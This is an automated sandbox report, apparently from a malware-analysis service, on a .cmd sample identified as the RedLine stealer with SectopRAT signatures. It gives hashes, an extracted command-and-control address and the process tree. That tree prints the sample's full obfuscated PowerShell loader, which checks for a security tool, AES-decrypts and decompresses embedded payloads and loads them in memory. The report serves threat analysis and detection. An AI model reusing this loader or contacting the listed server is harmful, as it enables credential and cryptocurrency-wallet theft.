Analysis

  • max time kernel
    141s
  • max time network
    128s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/10/2024, 01:22

General

  • Target

    3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd

  • Size

    75KB

  • MD5

    832dd29f7ffd54f656233e56c588b4fd

  • SHA1

    fd306aaaa8b2065f80773cf440e245f3120eef09

  • SHA256

    3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d

  • SHA512

    b5098bc78bb21a8a003b2b5a1c4950ff3a791e9a8543be51c7885b95999a1acef6bdffda9bb92ca2734f8b0f54a1572d9fb3dbdba322abae2d1057273529be10

  • SSDEEP

    1536:udOgvVCMvAg6DhWpHjd62+6LiIB8KUDPGJ/oJzy:wVLAjDhWpjTfuPWIW

Malware Config

Extracted

Family

redline

Botnet

tony

C2

51.195.145.77:57942

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

  • SectopRAT payload 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4428
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\3868b32b9aeabdd021b9f5d029a741304def18fa3c19a0fe4872e82939aac02d.cmd';$BczT='GeRVWptRVWpCRVWpurRVWpreRVWpntRVWpPRVWproRVWpcRVWpessRVWp'.Replace('RVWp', ''),'SpdpWdlitdpWd'.Replace('dpWd', ''),'EntUUZwrUUZwyPUUZwoUUZwinUUZwtUUZw'.Replace('UUZw', ''),'ElmNutemNutmmNutentmNutAtmNut'.Replace('mNut', ''),'LoZlRdadZlRd'.Replace('ZlRd', ''),'FriYMJomiYMJBiYMJasiYMJe64iYMJStiYMJriiYMJngiYMJ'.Replace('iYMJ', ''),'CDTtzhaDTtznDTtzgeDTtzExDTtzteDTtznsDTtzioDTtznDTtz'.Replace('DTtz', ''),'TrUPQEanUPQEsfUPQEormUPQEFUPQEiUPQEnUPQEalUPQEBUPQElocUPQEkUPQE'.Replace('UPQE', ''),'IqNQJnvqNQJoqNQJkeqNQJ'.Replace('qNQJ', ''),'CoqEENpqEENyqEENToqEEN'.Replace('qEEN', ''),'CrehWBeaehWBteehWBDehWBeehWBcehWBrypehWBtorehWB'.Replace('ehWB', ''),'MaQHwVinQHwVModQHwVuQHwVleQHwV'.Replace('QHwV', ''),'ReoviQadLoviQinoviQeoviQsoviQ'.Replace('oviQ', ''),'Devonzcomvonzpvonzrevonzssvonz'.Replace('vonz', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($BczT[0])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function pWQul($PgjTo){$ArRhZ=[System.Security.Cryptography.Aes]::Create();$ArRhZ.Mode=[System.Security.Cryptography.CipherMode]::CBC;$ArRhZ.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$ArRhZ.Key=[System.Convert]::($BczT[5])('BCbtvIveY0T0lkWSkDxWOMe/c90s1PvXXJN390CRmts=');$ArRhZ.IV=[System.Convert]::($BczT[5])('JbfpGWq+SHjQD2Awma012A==');$BcXUN=$ArRhZ.($BczT[10])();$RcqyN=$BcXUN.($BczT[7])($PgjTo,0,$PgjTo.Length);$BcXUN.Dispose();$ArRhZ.Dispose();$RcqyN;}function iDUTr($PgjTo){$bKrDu=New-Object System.IO.MemoryStream(,$PgjTo);$gnvgt=New-Object System.IO.MemoryStream;$atXgD=New-Object System.IO.Compression.GZipStream($bKrDu,[IO.Compression.CompressionMode]::($BczT[13]));$atXgD.($BczT[9])($gnvgt);$atXgD.Dispose();$bKrDu.Dispose();$gnvgt.Dispose();$gnvgt.ToArray();}$XZgdm=[System.IO.File]::($BczT[12])([Console]::Title);$IbVAd=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 5).Substring(2))));$AAuWz=iDUTr (pWQul ([Convert]::($BczT[5])([System.Linq.Enumerable]::($BczT[3])($XZgdm, 6).Substring(2))));[System.Reflection.Assembly]::($BczT[4])([byte[]]$AAuWz).($BczT[2]).($BczT[8])($null,$null);[System.Reflection.Assembly]::($BczT[4])([byte[]]$IbVAd).($BczT[2]).($BczT[8])($null,$null); "
      2⤵
        PID:3600
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        2⤵
        • Blocklisted process makes network request
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4576
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
          3⤵
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4532

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

      Filesize

      1KB

      MD5

      928d36ad618a369ffebf44885d07cf81

      SHA1

      edf5a353a919c1873af8e6a0dfafa4c38c626975

      SHA256

      d3436adbbe4dcb701c214f108dcd7babddbbc1b3b6f6dd6f5a4c5fc8c1a507ea

      SHA512

      4ca6f5da3cf41f7ea938eaa80e169ed3ba33c93ada8932d2683c5a57e632b963d0cb84bc6330cb1454801f0fbed02f97c8b8c7bbd992c8fdf603220f2be9086a

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

      Filesize

      896B

      MD5

      794bcc5f81fe61b3e0464ebf6b67d446

      SHA1

      a688d9c0401d441ade7a8324d7c0e803a504564a

      SHA256

      e6ba72353c1b554868aadd4ee178e2692a6b5e1fef79f85c78e93547244e9325

      SHA512

      c968512ccc9a9f2de6166390187f0b0d9795111dad80ab380f7cf140be8f51c1be743909db40739794dfc41c1739c342a04cf1da2636dab7f8aa91548a531e5d

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_u0yqrjpb.b04.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\tmpBB71.tmp

      Filesize

      40KB

      MD5

      a182561a527f929489bf4b8f74f65cd7

      SHA1

      8cd6866594759711ea1836e86a5b7ca64ee8911f

      SHA256

      42aad7886965428a941508b776a666a4450eb658cb90e80fae1e7457fc71f914

      SHA512

      9bc3bf5a82f6f057e873adebd5b7a4c64adef966537ab9c565fe7c4bb3582e2e485ff993d5ab8a6002363231958fabd0933b48811371b8c155eaa74592b66558

    • C:\Users\Admin\AppData\Local\Temp\tmpBB87.tmp

      Filesize

      114KB

      MD5

      0163d73ac6c04817a0bed83c3564b99f

      SHA1

      784001e8d0e7ab6a09202c2a1094f371f7d017cb

      SHA256

      5114af822abc2b0f2aabb7565919164c9babf884e34c21095213dbe6a71511ea

      SHA512

      47051ee935be9e9d4457447c7fe5df06a5b0c5ef55d2c757d3dfa179b6049ae79732b1552e812febe5ae41a076cb29d8a809ae9b168afc7eb4c9eadfadcf5d9b

    • C:\Users\Admin\AppData\Local\Temp\tmpBBB1.tmp

      Filesize

      48KB

      MD5

      349e6eb110e34a08924d92f6b334801d

      SHA1

      bdfb289daff51890cc71697b6322aa4b35ec9169

      SHA256

      c9fd7be4579e4aa942e8c2b44ab10115fa6c2fe6afd0c584865413d9d53f3b2a

      SHA512

      2a635b815a5e117ea181ee79305ee1baf591459427acc5210d8c6c7e447be3513ead871c605eb3d32e4ab4111b2a335f26520d0ef8c1245a4af44e1faec44574

    • C:\Users\Admin\AppData\Local\Temp\tmpBBC8.tmp

      Filesize

      20KB

      MD5

      49693267e0adbcd119f9f5e02adf3a80

      SHA1

      3ba3d7f89b8ad195ca82c92737e960e1f2b349df

      SHA256

      d76e7512e496b7c8d9fcd3010a55e2e566881dc6dacaf0343652a4915d47829f

      SHA512

      b4b9fcecf8d277bb0ccbb25e08f3559e3fc519d85d8761d8ad5bca983d04eb55a20d3b742b15b9b31a7c9187da40ad5c48baa7a54664cae4c40aa253165cbaa2

    • C:\Users\Admin\AppData\Local\Temp\tmpBBDD.tmp

      Filesize

      116KB

      MD5

      f70aa3fa04f0536280f872ad17973c3d

      SHA1

      50a7b889329a92de1b272d0ecf5fce87395d3123

      SHA256

      8d782aa65de6db3538a14da82216e96d5e0a3c60496726e3541a8165bccc65f8

      SHA512

      30675c5c610d9aa32a4c4a4d9c3af7570823cd197f8d2a709222c78e2cd15304bbed80e233e3674ec2f6e33d1961c67fd6a46dc8ba8b1a301cd0722932c03c84

    • C:\Users\Admin\AppData\Local\Temp\tmpBBF9.tmp

      Filesize

      96KB

      MD5

      40f3eb83cc9d4cdb0ad82bd5ff2fb824

      SHA1

      d6582ba879235049134fa9a351ca8f0f785d8835

      SHA256

      cdd772b00ae53d4050150552b67028b7344bb1d345bceb495151cc969c27a0a0

      SHA512

      cdd4dbf0b1ba73464cd7c5008dc05458862e5f608e336b53638a14965becd4781cdea595fd6bd18d0bf402dccffd719da292a6ce67d359527b4691dc6d6d4cc2

    • memory/4532-24-0x0000000074B90000-0x0000000075340000-memory.dmp

      Filesize

      7.7MB

    • memory/4532-38-0x0000000074B90000-0x0000000075340000-memory.dmp

      Filesize

      7.7MB

    • memory/4532-35-0x0000000074B90000-0x0000000075340000-memory.dmp

      Filesize

      7.7MB

    • memory/4532-34-0x0000000074B90000-0x0000000075340000-memory.dmp

      Filesize

      7.7MB

    • memory/4576-19-0x00000000062E0000-0x000000000632C000-memory.dmp

      Filesize

      304KB

    • memory/4576-49-0x0000000009480000-0x00000000099AC000-memory.dmp

      Filesize

      5.2MB

    • memory/4576-23-0x0000000007630000-0x000000000764A000-memory.dmp

      Filesize

      104KB

    • memory/4576-21-0x0000000007310000-0x0000000007386000-memory.dmp

      Filesize

      472KB

    • memory/4576-20-0x00000000067D0000-0x0000000006814000-memory.dmp

      Filesize

      272KB

    • memory/4576-0-0x0000000074B9E000-0x0000000074B9F000-memory.dmp

      Filesize

      4KB

    • memory/4576-18-0x00000000062B0000-0x00000000062CE000-memory.dmp

      Filesize

      120KB

    • memory/4576-39-0x00000000077D0000-0x00000000077E2000-memory.dmp

      Filesize

      72KB

    • memory/4576-40-0x0000000007800000-0x000000000781E000-memory.dmp

      Filesize

      120KB

    • memory/4576-41-0x0000000008930000-0x0000000008F48000-memory.dmp

      Filesize

      6.1MB

    • memory/4576-42-0x00000000078C0000-0x00000000078D2000-memory.dmp

      Filesize

      72KB

    • memory/4576-43-0x0000000007920000-0x000000000795C000-memory.dmp

      Filesize

      240KB

    • memory/4576-44-0x0000000007B60000-0x0000000007C6A000-memory.dmp

      Filesize

      1.0MB

    • memory/4576-45-0x0000000074B9E000-0x0000000074B9F000-memory.dmp

      Filesize

      4KB

    • memory/4576-46-0x0000000074B90000-0x0000000075340000-memory.dmp

      Filesize

      7.7MB

    • memory/4576-47-0x0000000074B90000-0x0000000075340000-memory.dmp

      Filesize

      7.7MB

    • memory/4576-48-0x0000000008560000-0x0000000008722000-memory.dmp

      Filesize

      1.8MB

    • memory/4576-22-0x0000000007C90000-0x000000000830A000-memory.dmp

      Filesize

      6.5MB

    • memory/4576-8-0x0000000005C50000-0x0000000005FA4000-memory.dmp

      Filesize

      3.3MB

    • memory/4576-7-0x0000000005B00000-0x0000000005B66000-memory.dmp

      Filesize

      408KB

    • memory/4576-6-0x0000000005A90000-0x0000000005AF6000-memory.dmp

      Filesize

      408KB

    • memory/4576-5-0x00000000052C0000-0x00000000052E2000-memory.dmp

      Filesize

      136KB

    • memory/4576-4-0x0000000074B90000-0x0000000075340000-memory.dmp

      Filesize

      7.7MB

    • memory/4576-3-0x00000000053F0000-0x0000000005A18000-memory.dmp

      Filesize

      6.2MB

    • memory/4576-204-0x0000000009F60000-0x000000000A504000-memory.dmp

      Filesize

      5.6MB

    • memory/4576-205-0x0000000008800000-0x0000000008892000-memory.dmp

      Filesize

      584KB

    • memory/4576-225-0x0000000074B90000-0x0000000075340000-memory.dmp

      Filesize

      7.7MB

    • memory/4576-224-0x0000000008F50000-0x0000000008F6E000-memory.dmp

      Filesize

      120KB

    • memory/4576-226-0x0000000074B90000-0x0000000075340000-memory.dmp

      Filesize

      7.7MB

    • memory/4576-228-0x0000000074B90000-0x0000000075340000-memory.dmp

      Filesize

      7.7MB

    • memory/4576-2-0x0000000074B90000-0x0000000075340000-memory.dmp

      Filesize

      7.7MB

    • memory/4576-1-0x0000000002990000-0x00000000029C6000-memory.dmp

      Filesize

      216KB

    • memory/4576-232-0x0000000074B90000-0x0000000075340000-memory.dmp

      Filesize

      7.7MB